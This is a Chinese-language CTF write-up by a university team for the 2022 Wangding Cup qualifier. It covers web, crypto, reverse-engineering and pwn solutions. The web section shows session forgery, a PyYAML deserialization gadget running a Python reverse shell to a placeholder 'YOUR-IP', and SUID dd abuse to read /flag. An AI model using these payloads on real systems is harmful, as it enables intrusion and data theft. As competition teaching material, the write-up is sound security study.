2022 网鼎杯青龙组 初赛 HED WriteUp
Rank: 7 1016pts 9Solved
青龙组总第8,组内高校赛道第7HED 是南方科技大学COMPASS实验室的CTF战队
Web
web669
首先喵一下代码,发现上传文件需要 session['user'] == 'Administrator'
,然后翻一下 session 的 secret key,发现:
1 | app.config['SECRET_KEY'] = socket.gethostname() |
看到hostname考虑平台的Docker环境可能是一样的,果断登录CTF大本营打开百度杯的SSTI题目
摸了一下 hostname 得到返回值 engine-1
,验证发现果然是这个。
拿到了 SECRET_KEY 之后,就可以随便改 session
了,也就是 user
和 updir
都能随便改。
这样的话,我们现在就可以上传文件了。并且由于可以控制 updir
,所以我们就可以任意文件读,也可以任意文件写了(只要有权限)。
然后发现任意文件读没什么用(主要是读不到 flag),然后尝试写文件也写不到 templates
里面去(事后发现确实没那个目录的权限),所以剩下只有 yaml.load
可以利用了。
然后 yaml
过滤了 system
等关键词,所以一个比较省事的办法就是先 base64 一下然后再 eval。
然后至于怎么实现这个逻辑,翻了一圈大佬的文章,最后发现一个能用的:
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/
大佬没给出实现,自己按大佬博客的思路实现一下:
1 | !!python/object/new:bytes |
翻译过来其实就是 bytes(map(eval, map(base64.b64decode, 'BASE64 HERE')))
。然后 base64 的部分,可以填一个常规的反弹 shell:1
2exec("import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"YOUR-IP\",PORT));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);")
然后把这个 yaml 上传到一个 /display
能访问到的位置上(即要提前算好 md5),然后再用 /display
摸一下,就能执行了。执行完了之后,就拿到了 shell。
但是翻了一下,发现 /flag
好像没权限读。
find -perm -u=s -type f 2>/dev/null
遍历有suid权限的程序,发现除了正常的程序外有dd
考虑dd写passwd提到root,但是队里神仙师傅直接用 dd if=/flag of=copy
复制了一份 flag,然后就可以读了。
上面 web 部分的脚本如下:
1 | from itsdangerous import URLSafeTimedSerializer |
Crypto (AK)
crypto162 (二血)
首先,嗯,我们先来看看代码:
1 | def cal(i, cof): |
然后一看,垃圾递归,顺手把他改成迭代的:
1 | MOD = 10 ** 2010 |
然后又因为后面有 s=str(s)[-2000:-1000]
,所以顺便模一下 $2^{2000}$ 次方,不会对答案产生影响。
然后本来还想着要不要继续优化的,但是刚想出来怎么优化,上面的那段代码就跑出来了。
然后拿着输出的 s
验算一下,是可以对上 verify
的。然后……然后就用 AES 解密就解出来啦?
crypto405
由于 k
一直在更新,有点难分析,不妨给 k
加一维(即 i
相关),于是代码就是:
1 | for i in range(len(flag)): |
然后不难发现,k
里面的每个值,会且会被赋值一次。并且用 k[i][j]
和 k[i - 1][j]
可以计算出 k[i][j - 1]
(因为 p
是质数,所以直接求逆即可)。
然后 output.txt 里面给出了最后的 k
,即 k[..][5]
。于是我们就可以用上面所说的方法,从 k[..][5]
算出 k[..][4]
,从 k[..][4]
算出 k[..][3]
……直至算出 k[..][0]
,也就是 flag。
所以最后的过程就是枚举 p
,然后对 k
做逆运算求出 flag
,并顺便判断一下 flag 合不合法(需要是可打印字符)。
1 | from Crypto.Util.number import * |
crypto091
已知 sha(手机号) = c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
,且“手机号是170号段首批放号的联通号码”。
联通号码,那肯定是中国的,所以国家代码是 86
,然后“首批放号的联通号码”,稍微查一下,就能发现号码段是 1709
,多一位。所以手机号的前 6 位就出来了:861709
。
然后 sha 出来的长度是 64 位的 hex,所以这是个 sha256。
用 hashcat 跑一下最后的 7 位数字:
1 | $ hashcat -a 3 -m 1400 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc' '861709?d?d?d?d?d?d?d' -O --force |
就可以拿到手机号:8617091733716
(也就是 flag)。
Re
re693(一血)
go正向,按逻辑把前两个print的字符串拿出来:1
2Input the first function, which has 6 parameters and the third named gLIhR:
Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:
上边很多函数,但一搜包含字符串的函数复杂度只有180*50,好像挺能接受的
正则搜一下第一个,发现只有五个匹配(这里后半段贪心了,肉眼过一遍发现实际只有一个是正确的)
\(.*?,.*?, gLIhR.*?,.*?, .*?, .*?\)
就找到了第一段的答案
然后搜第二个调用cHZv5op8rOmlAkb6(.*?)
,同时函数名的出现次数==5(多余的在字符串转函数引用的那个方法里和它自身好像)
只有50多个,准备挨个都手搜一下同名函数个数,结果第二个就正好符合5个
直接把函数一二两个字符串放到go在线环境https://go.dev/play/ 一跑就出来了
re694
exeinfo_pe 查到是UPX,但提示文件被hack不能直接脱,IDA打开提示IAT炸了
010打开发现有FUK01 FUK02,想到最简单的之前看博客讲魔改UPX的方法就是把UPX01抹掉,果断把两个FUK换成UPX,exeinfo再查就提示能正常脱了
这时候upx -d直接解,放到IDA里发现看起来像VSStudio debug模式编译的程序,shift f12找到了flag正确的字符串,引用跟入到函数,看下调用的其他函数发现大致逻辑:
字符串比较4B48791345305C495A7913706D78136F485D6464
add 10
, XOR 0X50
XOR 0X66
然后反着操作一遍就得到了flag
CyberChief配方:1
2
3cyberchief/CyberChef_v9.46.0.html#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'50'%7D,'Standard',false)
SUB(%7B'option':'Hex','string':'A'%7D)ADD(%7B'option':'Hex','string':'A'%7D/disabled)XOR
(%7B'option':'Hex','string':'66'%7D,'Standard',false)&input=NEI0ODc5MTM0NTMwNUM0OTVBNzkxMzcwNkQ3ODEzNkY0ODVENjQ2NA
PWN
pwn349
没点开497就先做了这题
以为是blind-pwn然后就上去去一通乱摸,考虑有什么可执行程序能读文件并报错的,队里的师傅找到了cc1plus编译并输出到stdout可以爆出flag:
lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag
pwn497
lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag
做完349点开一看发现了497的附件(?),于是同样的payload拿到flag,大概是349非预期了罢
MISC
签到:
签到,答案可以为空,可以单个爆破不确定的题目
2022 网鼎杯青龙组 初赛 HED WriteUp